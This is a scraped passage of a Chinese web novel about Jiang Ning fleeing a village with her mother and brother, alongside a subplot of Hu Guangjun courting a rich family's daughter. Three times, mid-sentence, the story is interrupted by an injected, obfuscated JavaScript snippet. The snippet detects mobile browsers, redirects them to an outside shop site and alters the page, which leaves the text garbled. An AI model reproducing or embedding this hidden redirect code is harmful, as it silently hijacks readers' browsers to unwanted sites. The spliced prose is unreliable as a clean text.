姜宁躺下那一刻，姜氏太阳穴突突跳动，又来了又来了又来了，这丫头打小就这样，每次想要什么物件，都这样寻死觅活搅得不得安宁。 她忍着胀得生疼的额头，从后面抱住女儿：“我的祖宗，莫闹了，听你的就是，我们去，我们去！” 目的达到的姜宁眼角挂着泪，不哐哐撞墙了，嫌弃的使唤一旁缩着的苏慎：“你瞎了，还不端水来我洗脸！” 她昂着下巴，觑着姜氏，冷哼：“我不仅要去叶城，你还要买南门外的萝卜糕给我，只许给我，不许给苏慎吃！” 大有姜氏不点头，她立马撞墙的架势。 汰，这霸道护食的模样，除了她那个胡搅蛮缠的女儿，还能是谁？ 姜氏心底最后一丝怀疑被吹走，只剩下无奈和头疼，不停的哄着：“买买买，一定买，不给苏慎吃！” 姜宁哼了一声，给了一个算你识趣的眼神。打蛇随棍上，理直气壮，倒打一耙：“家里的钱财以后都我管，快拿出来！” 姜氏不情愿，期期艾艾：“好不容易攒了几文，你又拿去贴补胡小人！” 姜宁嗷一声扯着头发：“我不要胡光骏了，让你不要再提他，你还提，你还提！你是不是没听见，我的话就是耳边风，苏慎的话就是金科玉律，姜万荷，我要和苏慎同归于尽，看你以后听谁的？” 爬起来呜嗷呜嗷去扯苏慎。 苏慎早在两人吵架时就远远躲着，看她来抓，立马撒腿绕着桌子逃，三人你追我赶，一时间屋子里上演一出老鹰捉小鸡的激烈场面。 姜氏挡在姜宁面前，护着小儿子，太阳穴青筋鼓胀，投降：“给，给你，都给你！” 三言两语安抚好发癫的女儿，无奈认命搬开床头的柜子，露出一个耗子洞，从中掏出一个大大的布包。 不等打开布包，姜宁一把夺过打开，哎哟，好重，好激动。 姜宁颤抖着手揭开包裹，启动资金到手了，肚内已经有三百六十八种开店方案，就等她大展宏图。 八窜零十多个铜钱，在豆大的油灯下发着朦黄色的光芒。 她一屁股跌坐在床上，不敢置信“怎么，怎么才八百个？”够干什么？ 姜氏小心捡起掉在床上的铜钱，吹了灰重新仔细包起来，不满念叨：“你知道个屁，八百个我攒了许久！” 再一次躲过二人大战的小透明苏慎，凑过来欢喜的摸着铜钱，眼里好似在冒光，他压低声音：“二姐，小声些，莫让阿奶知晓了”。阿奶要是知道他们有私房钱，讨走六成，那更少，虽然他不知道六成是多少。 “二姐，不少了，村里卖鸡蛋给货郎，两个鸡蛋才能换一文！”村子里邻居都是菜米互换，谁用钱啊。 拿到叶城集市上可以卖一文一个，头茬蛋三文，但摊位费就要十文，苏慎养了两年的鸡，都是卖给来村里收货的货郎，才攒得一百多文，剩下的是姜氏上山打柴，偶尔挖到好看的花儿回来，找货郎换的。 姜宁看着满足的娘两，鼓足勇气询问：“墙跟下那盆金黄色的花，就是被胡光骏顺走那盆，货郎一般收多少钱？” 姜氏回想了一会：“之前没卖过黄色的，大部分是粉色的。” 伸出巴掌晃了两晃，嫌弃的看了她一眼，气恼道：“要不是被胡小人偷走，等花开了，货郎至少能给到这个数！对，等我们去了叶城，必须把花取回来。” 姜宁屏声静气，提着嗓子：“五百文？” 姜氏顺手拍了她肩头一巴掌：“这孩子，长得美，想的更美，货郎收五十文呢，还送了一跟缝衣针和三条棉线，啧，那货郎做生意实在，也挺英俊的小年轻，等下次见了，我介绍你们认识！ 他体贴我们攒钱不容易，嘱咐我悄悄的，不让别人知道，免得大家都去挖花儿，花儿卖不掉了。 你奶他们都以为我用花儿换针线缝衣，卖的钱被我悄悄攒下来。” 姜宁：我不想认识，这货郎实在得要人命。 她捂着心口哗啦瘫倒在床上，至少值一千铜钱的金花茶，兼具美丽药用于一身的金花茶！ 心口一阵紧绷，她默默念叨：“完了完了，又要心梗了！国家二级保护植物野生金花茶，贱价五十文，这是暴殄天物，鱼目混珠……，原来姜氏最厉害的不是力大无穷的巴掌，而是无形取人性命手段，太他么厉害了！” 姜氏看她倒下，瞄一眼后嗤笑：“这丫头，又作怪，我打的是你的肩膀，你捂着心口作什。” 懒得搭理苏宁，乘机悄摸摸把包铜钱的布包藏在自己腰间，一叠声支使苏慎，让他收拾衣裳，打包铺盖。 & 叶城的胡光骏在家将养了两日，脸上的巴掌印看不出来，只剩下一点青紫，去瓷器店砸重金二两买了一只上好的青花瓷花盆，砸破瓦罐，移栽到青花瓷盆里。 他仔细修剪有瑕疵的枯枝败叶，把每一片叶子上的灰尘擦拭干净，管理了一番。 别说，人靠衣装马靠鞍，换了装备的小黄花立马看起来碧绿如玉，生机盎然，几朵饱满淡黄的花骨朵含羞带怯隐在碧绿枝叶间，甚是贵气夺目。 他换了最体面的行头，打扮得人模狗样的，抱着花租了顶轿子去到内城高家大门，敲响了门环，挺直了背等待。 门内没人答应，一旁侧门开了，出来一个着棕色褂子的汉子，不动声色审视了一遍，拱手询问：“贵客帖子？” 胡光骏愣了一下，帖子，什么帖子？ 看门的汉子见他呆住，暗道原来是个驴粪蛋上霜——表面光的，估摸着没赏钱，立马情商降到脚底。直起腰鼻孔朝他，不耐烦道：“你叫什么名字，找谁，有何事？” 胡光骏张了张嘴，红着脸道：“我，我寻贵府高小姐，劳烦通报一声！” 哟，来了个棒槌！ 看门的汉子噗嗤讥笑：“我家小姐岂是随便只癞蛤蟆都能见的，痴汉做梦，去去去，赶紧滚，莫要耽搁老子看门！” 说着顺起墙边的长扫帚在他脚边划拉，天青色的长衫下摆立马多了些浮尘，脏兮兮的。 看门汉讥讽的眼神，扫垃圾的模样把他臊得恨不得钻到地底下去，连忙抱着花儿远远躲开，仔细怕打衣裳。 打道回府他不甘心，坐轿花了半串钱，再上前去询问又担心被打，他遮遮掩掩抱着花远远坐在街角，期望等着高明珠从府里出来。 从早等到晚，这一片都是达官贵人的宅邸，没有个小摊小贩，胡光骏饿得前胸贴后背，两眼昏花，眼看天色慢慢变暗，他失魂落魄的抱着花，打算步行回家。 也是姻缘汇聚，前面哒哒哒来了架马车，正是那日他救下的，高小姐一定在里边，他连忙整理衣衫等在路边。 车夫目不斜视打马从他身边过，胡光骏傻眼了，追着后面高声喊道：“高小姐，等等我，高小姐？” 车后跟着的男从反手擒住他欲揍，大街上大声调戏他们小姐，这是完全把他们当摆设啊。 马车嘎吱停下，车里露出一个头，连呼住手，莫伤了恩人，不一会跳下来走到面前行礼：“原是胡公子，我们小姐请你进府谈话！” 这丫头交代跟车的一个小丫头：“喜鹊，你领着公子到花厅看茶，小姐见过夫人后就过来！” “知道了，珍珠姐姐！” 叫珍珠的丫鬟对着他笑着点头示意了一番，爬上车去了。 小丫头喜鹊扭头使唤两个动手的男从：“你们过来，帮贵客抱着花儿送去花厅！公子，请这边走。” 男从慌忙帮他把凌乱的衣裳抚平，赔笑：“哥哥，误会误会，您原谅我们有眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991610|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不识金镶玉，您请这边走，我们帮你抬着花儿。” 前一刻还凶神恶煞的两人，下一秒温言笑脸和他套着近乎，让他再次感叹权势的迷人。 他捏紧拳头发誓，一定赢得高小姐的芳心。 路过大门，迎着看门汉吃惊的眼神，他面上闪过得意，傲然抬起下巴，好似再说，狗眼看人低的东西！ 进了高府，入眼皆是雕梁画栋，富丽堂皇。 胡光骏暗暗咂舌，汲取了教训，不肯多问一句，不肯多看一眼，不愿被人瞧轻了去，目不斜视，尾随小丫头喜鹊坐到花厅。 喜鹊招呼婆子上了两盘糕点和茶水，便退到一边悄悄站着。 胡光骏饿的心慌，想吃一块糕，又担心一会儿牙上沾糕不美，也忧心这些下人笑话他，干脆坐直了身子闭目等待。 约莫半刻，七八个丫鬟婆子簇拥着高小姐姗姗才迟。 她身披珍珠网纹衫，项上八宝璎珞圈，头戴娇艳新嫩粉色山茶花，浑身锦绣，上下珠华，胡光骏一下子痴了。 大丫头珍珠站在高明珠前面，挡住他的视线，脆生生笑道：“叫公子好等，我们小姐来了！” 胡光骏有一肚子的甜言蜜语要说，被十七八只眼睛盯着，那些话吓得跑到爪哇国，斟酌了半响才道：“高小姐，那日你受惊了。我去登高，恰在山崖上发现一株山茶花，迎风而立，金黄袅娜，甚是大气坚韧，花香又有安神静气之效，觉得特别适合你，所以送过来！ 哎，金花不及美人妆，花厅风来珠翠香，是我造次了，这花不及你万分之一。” 高明珠余光扫过角落的花，是山茶花中难得一见的金茶花，花香确实有凝神静气效果。就因为她受惊，他亲自去山里寻的，不晓得受了多少苦。还写诗说花儿没她好看，一时好似喝了蜜水一般，甜丝丝的。 她盯着他的脸：“多谢胡公子！”胡光骏不顾自身安危，接住被马车甩出的她，救了她一命，又长了一张棱角分明的脸，实在让她记忆深刻。 “你的脸是怎么了？” 胡光骏恍然大悟一般，转过身侧对这她：“哦，没事没事，攀登山崖，不，是在家里，在家里不小心摔了一跤，对不起，如此丑陋，吓到你了！” 他好似很懊恼：“都怪我太心急，应该等脸好了再来看你。” 高明珠咬着唇，目光莹莹，弥漫起雾气。原来他采花时摔到了，顾不上自己疼，就来看她，是不是他心中巴不得尽早见到她。 一旁的珍珠心下一惊，自家小姐什么都好，就是有些爱盯着美男子胡思乱想的毛病，连忙咳嗽一声打断：“小姐，夫子布置的大字还没写呢！” 高明珠嗯了一声，不舍告别：“你下次过来，直接去侧门说寻珍珠就是。”转身吩咐珍珠好生送胡光骏回去。 送走胡光骏的珍珠，回院时恰遇二公子房内的执笔，她笑嘻嘻挽着珍珠胳膊：“适才望见小姐神情寞落，可是在外头受了委屈？” 珍珠扫过执笔挽起的发髻，他们是同一批进府的小丫头，执笔成了二公子的房里人，她以后跟着三小姐不晓得在哪里落脚，有意讨好，为将来某个出路，把高胡两人的纠葛竹筒倒豆子，倒了个干净。 得了信的执笔闲聊几句，回院禀告自己的主子。 高家二公子高明志听完，嗯了一声，吩咐随从去打探胡家跟脚。心道，妹妹从小懂事，若胡家是个清白人家，把那小子弄来清理干净，送给妹妹取乐，未尝不可。 等到夜间，随从回来，解释说胡家是外城普通殷实人家，只是小时被被家里订了婚，胡光骏想走科举的路，他不愿意和个村姑成婚，前些日子去退婚，被苏家人打了一顿。 你道侍从如何打探的，自然是询问胡家旁边的邻居，恰好问到韦婆子头上。韦婆子嘴里的苏家哪有好的，被她骂成扒拉着城里人不放的吸血蚂蟥。污言秽语，那些不用污了贵人的耳朵。 机会不就来了，他帮胡小子解决后顾之忧，胡小子不得心甘情愿，死心塌地伺候妹妹，他吩咐侍从：“你去，让苏家人懂事些！” 5. 第 5 章 姜宁划哗啦哐啷摇晃木门，使唤外头的堂妹：“苏忆，苏忆，苏矮子。” 半响，东厢房咚咚咚跑过来个十三四岁的半大丫头，打着呵欠不耐烦的翻着白眼，和她斗嘴：“苏宁，你烦不烦？又要作甚。” 苏宁太让人讨厌了，平时姐妹两一起干家务的时候她挑肥拣瘦，刁钻古怪，活该被阿爷关起来。 她兀自抱怨，阿爷也真是的，关就关了，干嘛让她当看守，还必须有求必应，送饭、收碗、喝水、如厕、倒洗脚水、捡鸡蛋、关小鸡、手被扎了刺要针……起码喊了八百回，她都要被烦死了。 苏忆悲哀的望了望天色，黑洞洞的，镶嵌孤零零几颗星星，躲在墨蓝色的天空中，深更半夜的，大家被她烦得捂着头睡大觉，只剩她一人被折磨，好可怜。 有些焦急的声音从门缝里露出来：“苏忆，你快去村长家，讨要一颗药丸来，苏慎吃晚饭时咳嗽了几声，这会发起热来！” 村长小时跟着城里的大夫当学徒，认识好些草药，平时搓些药丸子补贴家用，乡亲们有个肚疼脑热的就找他换个药丸，大部分能好，没效的才去城里医馆寻大夫。 苏忆不信，嗤笑：“好个苏宁，为了折腾我，你竟然咒阿慎，真不要脸！” 里头传来苏慎有气无力的声音，从门缝里伸出一只红彤彤的小手：“三姐，我好难受，咳咳……” 苏忆摸了摸小手，哎呀，这么烫。 阿慎是二房的独苗苗，她不敢耽搁，撒腿往村长家跑，出了院门，外头黑漆漆的，像妖怪长大了嘴巴，等着猎物自动钻到肚子里去。 她打了个冷颤，吓得缩回脚，去叫大哥二哥，大哥二哥和案板上的猪打了一天架，呼噜声震得窗框微微掉灰，根本叫不醒，她又去拍三叔的房门，三叔嘟囔了两句，没声了，上半夜大家都被苏宁折腾烦了。 她哭丧着脸回到西厢房门边：“我，我不敢去，要不，等天亮？” 姜氏悲戚的声音传来：“等到天亮，你阿弟有个三长两短的，我也不活了！” 二婶平时多强壮的个人啊，眼睛不眨巴一下就能从山上挑一担柴回来，竟然哽咽了，苏忆哇一声哭出来：“那怎么办？” 姜氏低声哀求：“好孩子别哭，这样，我把你姐捆起来了，你偷偷打开门，我去要颗药就回来，半炷香的事，你阿爷他们不会知道的，啊？” 苏忆犹豫了，里头又传来苏慎激烈咳嗽的声音：“咳咳咳，咳yue儿……” 苏宁嫌弃声音：“哎哟，你别吐我身上啊！阿娘，你绑我作甚。” 完了完了，阿慎不好了。 苏忆从门缝里瞄到苏宁被绳索缠起来，手忙脚乱从脖子上掏出钥匙，打开了门上的大锁：“二婶你快去村长家，我看着弟……呜呜” 还未说完，嘴里就被塞了一块布，姜氏有力的双手钳住她，苏宁手里的布巾同一时刻塞到了她嘴里，一边苏慎睁着无辜的大眼高高提着灯照明，娘三个配合的天衣无缝，哪有生病的苏慎，都是骗人的。 苏忆委屈极了，豆大的泪珠儿在眼眶了打转。 全是坏人，二婶和慎弟跟着苏宁学坏了。 姜氏温柔的把她抱到只剩稻草的床铺上，担心她受寒，抓了好些稻草把她埋起来，只剩两个鼻孔子，塞了十个铜板到她兜里，嘴里安慰：“好孩子别叫，我们要回我娘家去，安顿好了会捎信回来，告诉家里别担心哈，这些铜板给你买糖吃，给你一个人的，不要告诉你阿奶！” 委屈的苏忆得了铜钱，听说不用上交阿奶，立马无私自通体会到了私房钱的甜蜜和烦恼，计划等货郎来的时候挑一朵最大的红绒花，扎在脑袋上，成为全村最亮的崽，不行不行，要挑两块黏糊香甜的麦芽糖，糖吃完就没了，或者换成陀螺？ 在她思绪飘到九霄云外慢慢睡着的时候，姜氏领着一双儿女背着二房所有的家当，贴心的帮苏老头从院门外上了锁，拄着长棍摸黑上了路，插近道从田埂出村。 路上姜宁踩空好几次，摔了个跟头，膝盖破铜钱大小一块皮，火辣辣的疼，因是自己要求走的，正咬着牙硬抗，转而考虑到原主从不内耗的性格，开始抱怨：“阿娘，背这么多东西作甚，再说，有平坦的大路不走，为啥要来走这些偏僻的小道。” 姜氏背的家当最多，小铁锅把手勒得生疼，甩着发酸的手臂，没好气互创：“行，不走了，趁你阿爷他们还没发现，我们回去，明日就把你送去给人当外室。” 姜宁：…… 最后还是苏慎扛下了所有，很有眼色的替姜氏捏手臂，又跑到姜宁面前要替她抗包裹，姜宁嘴巴欺负他厉害，哪里会真让个小豆丁负重，哼一身甩着包裹咚咚咚往前走。 下了这个坡，便汇入进城的官道，姜氏有些不舍的回望她生活了半辈子的苏家村，正要感概两句，远远看见一团黑影进了村子，她揉揉眼睛，抱起儿子问：“哎，你们看，是不是有什么牲口进我们村了？”牲口进村，别糟蹋了粮食。 全身包裹得只剩眼睛的苏慎，还有远视储备，远眺村口后道：“是两个人驾着辆马车。” 马车啊，这儿是大户人家才有的东西，许是哪家城里的亲戚吧。 姜宁羡慕的看了一眼，果真是一匹马拉着的板车，无比羡慕，要是自家也有一辆马车就好了。 三人没放到心上，汇入官道，和早起背菜担柴的农人，一起排队入了叶城。 就着熹光，三人拄着棍，高一脚低一脚踩过坑坑洼洼的小巷，穿过高高矮矮的茅草房，进了内城。 内城百姓的日子明显比外城富足，道路变成了落满历史尘埃的青石板，两侧的房子也是土墙瓦顶，间或青砖瓦房，甚是气派。 姜宁吐出口浊气，幸好幸好，姜氏还没抠门到去住外城。 不过，姜宁高兴早了。 姜氏领着他们进西城门穿过内城，来到东门附近，内外城交界处，左右张望了一下，径直走到一座院子的房子开始敲木门，不一会，出来个头发整整齐齐的婆子，上下打量了娘三个一眼，嗯了一声，领着他们进了院子，指着后院一间小屋子：“我家不是专门做野店生意的，我儿子出门走商，每月回家一两夜落脚，这间屋子白白空着，我看你们娘三是正经人才让你们进来，三百铜板一个月，住不满一个月按一个月收房租，不讲价不赊账，有水井可随便取水。” 姜氏有些肉疼，扫一眼屋子，虽土墙茅草顶，墙面抹了白灰，泥地敲得夯实平整，有一张结实铺了草席的大松木床，床头柜，衣柜，八仙桌椅一应俱全，甚是整洁用心，院子里种了些菜，收拾得利落齐整。 正常野店一个月二百文，这家三百文，整整贵了一半，姜氏舍不得，推脱还要看看。 那婆子又道：“其他的野店住的人多，我家只我一个老婆子带着孙子在家，清净，即便我儿子回来落脚，让他去前面堂屋里将就一下，知道你们在，绝不踏进后院一步。”她意有所指看了眼姜宁。 姜氏顺着她的视线扭头朝着苏宁看去，十六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991611|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姑娘，能看出是个美人胚子，即便奔波了一早上，头发乱糟糟的顶着脑袋上，小荷般婷婷矗在那，明眸皓齿鲜嫩靓丽。 差点忘了，这里不是他们那个沾亲带故蔽塞的小寨子，是人烟密集的叶城，暗地里不晓得多少披着人皮的财狼虎豹流着恶心的涎水，打着害天良的主意。 需要一个独立的空间，藏着女儿，直到他们能安全离开，回到娘家。 她听出婆子话里的提点，感激的看了婆子一眼：“大姐贵姓，您这房子我们定下来了。” 婆子扯嘴裂了一下：“托大，你叫我魏大姐就是。行，你们先收拾收拾行李，我去给你拿契书。” 姜宁好奇：“阿娘，你如何知道她家有屋子出租？我们为什么不直接去外婆家，还要住在这里？”还以为她们认识，听两人谈话知晓她们第一次见。 姜氏背身从腰带里掏铜钱，数出四百，一边为儿女解惑：“旅途之人在外有住店需要，当官的下榻驿馆，富户住正店，乡亲们要么在脚店，要么借宿野店，喏，她家门口倒挂着把全新扫帚，便是野店的意思：店家提供房舍，住户自己生火做饭准备被褥，她们家院子大还带着井，比其他家贵了些，还行。” 明白了，野店即为短租。 她语气里充满了怀念：“你阿爹在时带我住过正店，啧，甩着手去，店里吃喝玩乐一条龙，想听曲儿店家都帮你弄来，什么都不用操心，当然，花销也贵。” 她转而看着姜宁：“你外婆家在花城，此去三百多里，路上有几段路荒无人烟野兽出没，我们得攒钱跟着大车队过去，大车队按人头交钱，一人收200文，坐车另交100文一人，你和阿慎坐车，我跟车走，路上干粮自备，我们娘三省着吃，一天要50文，顺利的话约莫要十天才能到，合计1300文，还要多备一些其他出远门用到的物件，买点头疼脑热的药之类，怎么都要二两银子。” “魏大姐家这里挺好，内外城的交界处，也算太平，你们躲在院子里莫要出门，我收拢些衣服回来你们在家浆洗，我去大车店那边找扛麻袋的活计，顺便寻个稳妥些的大车队，最多三月，我们一定能回到你外婆家。” 姜宁怔怔的看着面前壮硕的妇人，心口软软的，她也曾锦衣玉食，命运无常，她放下少时的娇柔，全力扛起生活的重担，把自己变成了一个能被儿女依靠的超人。 姜宁不忍，闷闷道：“这么累啊，要不，我们回苏家村？” 不就是讨好胡光骏么，就当吃狗屎算了。 苦恼铜钱不够的姜氏立马大怒：“都跑出来了，又回去，你是变色龙投胎的！” 她扯着姜宁的耳朵吼：“做事既然决定了，即便再难再苦再累，也要死磕到底，你这前怕狼后怕虎的性子，给我趁早改了！” “行了，花城拍花子的多，最喜欢你这么大的闺女，和苏慎这样半记事的男孩，你们躲在家里莫要出门，我去签租房契书，顺便买些米面回来。” 姜氏风风火火离开，姜宁在后面看着她背影，紧紧捏着拳头豪气万千：“姜万荷，我一定要让你过上住正店吃喝玩乐一条龙的日子！等我赚到钱，我们一家都去住正店。开两间，我们住一间，另一间空着玩儿！” 帅不过三秒，阿慎叫唤：“二姐，快来帮忙提水，我要掉下去啦！” 姜宁飞奔到井沿，两人合力提起一桶水，盖好井盖后打扫收拢归置行李，望着焕然一新的暂时新家，苏慎不安：“二姐，阿爷他们会不会来抓我们回去？” 6. 第 6 章 姜宁沉默不语，阿爷大伯忧虑胡光骏使坏，去村子里传闲话影响三个妹妹和小姑的名声，现在他们一走了之，家里巴不得呢，应该不会太仔细的找他们。 她安慰弟弟：“这会子家里应该发现了，留了信说我们回外婆家，花城距此三百里，阿爷最多派三叔去大车店找几日，找不到自然回去，万万不会料到我们躲在叶城中。” “以防被三叔发现逮我们回去，我帮你乔装打扮一下？” 懂了，大型的升级版躲猫猫游戏，苏慎两眼放光：怎么躲？ 姜宁不怀好意嘿嘿笑：“我们把头发剃了，装成和尚！”假扮和尚不是她口嗨，有多种原由。 据她翻阅原主记忆，这个地方，崇尚礼佛：苏家上房堂屋摆了佛台，房东家，专门弄了一间屋子做佛堂，她去过的大姐夫家有佛龛，大家对和尚尼姑宽容敬重，在苏宁的记忆中，最刻薄抠门的苏悦婆婆韦婆子，对上门化缘的和尚尼姑笑脸相迎，客客气气。 二来，最主要的原因，她头上竟然长了虱子虮子，阿娘阿慎头发丛里有，人人都有。 问题是大家习以为常不以为意反以为乐。 苏家村有一项重要的社交活动，农闲晴朗的午后，大家洗完头发在山坡上晒太阳，小姐妹们、老婆娘们互相在头发颗里找白色的虮子，找到后两个指甲用力一夹，虱子虮子连血带水啪一声炸开在耳畔，大家默契爽得酥麻一下哈哈大笑，友谊的小船在啪啪啪哈哈哈的声音里升华为乘风破浪的巨舰，即便炸毛的苏忆，只要苏宁招呼她过来替她翻头发，她立马乖如小狗，安静如鸡。 思索背后原因，在于没有高效杀菌有效的洗发乳，勤劳的百姓苦中作乐，以最直接最笨拙的方法祛除寄生虫。 她做了无数的心理建设，还是觉得她做不到亲手爆浆寄生虫，无法容忍虱子在她头上喝血拉屎，经过深思熟虑，姜宁决定对寄生虫采取零容忍的坚决态度，务必斩草除根，坚壁清野。 最后，她不是天真懵懂的十六岁，是在大染缸里摸爬滚打数年的老油条，魏婆子隐晦的提点，姜氏眉间的隐忧她放在心上，苏宁仅在苏家村和大姐婆家行走，便掉入胡光骏的谋算，若被更多的人发现她，那些坏人不得像苍蝇一样围杀过来，在她能自保之前，这样的容貌是祸害，光头能一定效果的降低颜值，再配合其他手段，变成一个容貌普通的黄毛丫头。 苏慎头摇得拨浪鼓一般：“我不我不，没头发不能娶媳妇！” 姜宁循循善诱：“你不是说长大了娶我做媳妇，我又不嫌弃你没头发，来来来，我帮你剪。” 好似有哪里不对，苏慎嘴巴张了张，又无从辩解，干脆逃之夭夭，两人在院子菜地间你追我赶，嘻嘻哈哈。 最后，苏慎没有逃过姜宁的魔爪，杀猪一般被按倒在地，一头整齐偏黄的软发变成了狗啃头。 姜宁压着挣扎嚎叫的弟弟，嫌弃剪刀不好使，掰开剪刀成推刀，对着苏慎，继续光头大业，外头听到动静的魏婆子走进来，眼睛瞪得铜铃一般，颤巍巍指着剪刀，惊恐不已：“天菩萨，快放下剪刀，我已经报了捕快！” 老天奶，老娘瞎了招子，老实无害的三人，竟藏了一名杀人狂魔。 姜宁讪讪起身，解释：“魏大妈，你听我说，我，我，弟弟头上长虱子，吸他的血，害他生病长不高，我给他剃头呢！” 魏婆子不信。 姜宁轻轻踹了伤心哭泣的苏慎一脚，努努嘴。 鼻涕横流的苏慎抬起头，可怜巴巴点头：“阿姐剪我头发，我，我娶不到媳妇了！” 嗨，毛都没长齐，娶什么媳妇，害得老娘差点魂飞魄散。 紧绷神经的魏婆子松下心房，捕捉到她的话：“虱子让娃儿生病长不高？剪头发可以去除虱子？” 姜宁不方便解释虱子感染，轻微导致过敏瘙痒，严重导致流行性斑疹伤寒，用小孩的语气解释：“虱子吸我们的血，它还放毒咬我们，让我们痒得睡不着觉，就是导致弟弟生病瘦小的元凶，剃光头发让虱子没地方躲，不就清除干净了？” 魏婆子想到自家夜里喊痒痒，哭闹不休的小孙子，心疼得直点头，是这个道理。 转而不赞同道：“身体发肤受之父母，哪能随便剪掉。再说，头发是人的精气所在，剪头发把人精神气都给剪了，这是对付罪犯的手段，而且万一被坏人把你弟弟头发得了扎小人，他小娃儿哪里熬得过来，你对你弟弟过于心狠了些！” 姜宁自知无法和习俗对抗，不多辩解，一本正经胡扯：“哦，前些日子玄珠法师上门，说我和弟弟有佛缘，要剃度我们去伺候菩萨，阿娘不舍，法师不忍我们骨肉分离，命我们在家给菩萨当俗家弟子。他之前为我们做了法，剪头发不会伤到精血，而且命我们姐弟今日剃度，正式入门。” 信你个鬼，满嘴胡咧的黄毛丫头。 魏婆子摇头不语。 买粮回家的姜氏发现儿女变成光头，天都塌了。顶着光头在院子里进进出出，姜宁毫不在意：“反正我们又不出院子，有没有头发，谁知道。” 苏慎左右看了看，不安道：“没了头发，不痒痒了，就是感觉怕怕的，阿姐，是不是有鬼啊？” 姜宁若有所思，寻了块帕子打个结包在苏慎光脑袋上：“现在还怕怕的么？” 苏慎静心感受了一会，那种不安的感觉神奇消失。 姜宁唬人：“那当然，头巾是法师玄珠送我的，是开了光的。” 姜氏没好气一巴掌拍在她肩头上：“好好说话，糊弄你弟弟作甚！” 姜宁揉着发疼肩膀，解释了下玄珠法师的事，合掌撒娇：“娘，你可别在外人面前露馅了，万一房东赶我们就不美了。” 磨得姜氏点头，她略带得意：“头皮娇嫩，被风吹着，受凉感觉不舒服，或太阳晒着疼，带个头巾就好了，保暖保凉，一天可以多换几块头巾，干净利索，再不会被虱子吸血，气血足了便不生病了。” 有了头巾的保护，苏慎莫名多了些安全感，神态安详，专心致志到菜地捉虫子喂他的小母鸡。 是的，他们的行李里还包含着两只苏慎喂大的小母鸡。 苦主痛失头发，怡然自得玩耍，姜氏看着不辨雌雄的女儿，若有所思，压下为儿子出头的心。 她瞟一眼院子边的木桩上，绑着手臂长的线，另一头绑着小母鸡的脚，两只母鸡精神抖擞，哆哆啄土，暗自点点头，扭身进屋，屋子里被姐弟两收拾利索，木床上摆着他们的铺盖，她的枕头在一边，姐弟两的在另外一边，泾谓分明！ 衣服分三堆折放到柜子里，桌椅板凳擦得干干净净。 她顺手翻开扣着的陶杯，提起茶壶晃了晃，冒着热气的清水从壶嘴里冲入陶杯， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991612|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仰头灌下肚，温热解渴。 不错不错，家里收拾得很好，不愧她千辛万苦带着两人出走，确实懂事了些。外头没找到活计的气恼，平顺好多。 这当头，姜宁端着盆进屋，递了块手巾给她：“娘，这水在外头日头下晒半天了，暖暖的，你先洗洗脸歇歇，对了，找到扛麻袋的活计了吗？” 姜氏确实蛮累的，昨天一夜没合眼，出门后一路奔波，大部分家当压在她背上，落脚后忙着出去打听活计，买米买菜，现在坐下来，才惊觉腿重得像灌了铅。 她手伸到水里，果然暖暖的，一点都不凉，痛痛快快洗了把脸，嘴里解释：“今日去东门附近，问了好几家大车店，人家说搬麻袋是力气活，不招女工。”她擦干净脸，抬着盆到外面冲着洗了脚，进屋靠在枕头上：“我歇一会，你看着买回来的米面，随意做点吃的，等吃过饭，我再去问问。” 说要就打起了呼噜。 姜宁叹了口气，帮她盖好打了补丁掉色的绸面被子，姜氏这是把自己当牲口使，即便力气比常人大些，时间长了，身体要熬坏的。 她轻手轻脚翻看桌上的小麻袋，里头五斤陈米，五斤灰面，一小葫芦菜籽油约莫半升，和一两粗盐。 姜宁有些后悔，早知道在厨房取碗筷的时候，顺便砸开柜子，弄些油粮米面。没错，苏家厨房里，能入嘴的被阿奶锁起来了。不过，她顺到了好东西。 六个小陶碗，三个大陶碗，三双筷子，两把木勺，最重要的是一把杀猪刀。 感谢大堂哥二堂哥跟着杀猪匠当学徒，苏家厨房除了一把菜刀还有两把杀猪刀。她偷偷取走二堂哥那把小的，暗暗许诺，等有钱了，衣锦还乡，打一把银的还给二堂哥。 清点完物资，她吸口凉气，巧妇难为无米之炊，要啥没啥，这饭怎么做？ 幸好，外头有个大菜园子，找魏大娘先借一把葱。 姜宁提着小茶炉到房檐下，生起火，架柴烫水洗了锅，而后加入一满锅井水烧着，等水沸腾的功夫，弄个大碗倒入半斤灰面，一半加烫水，一半加冷水各自搅拌均匀后，手掌跟发力揉按面团至光滑，盖着醒发。 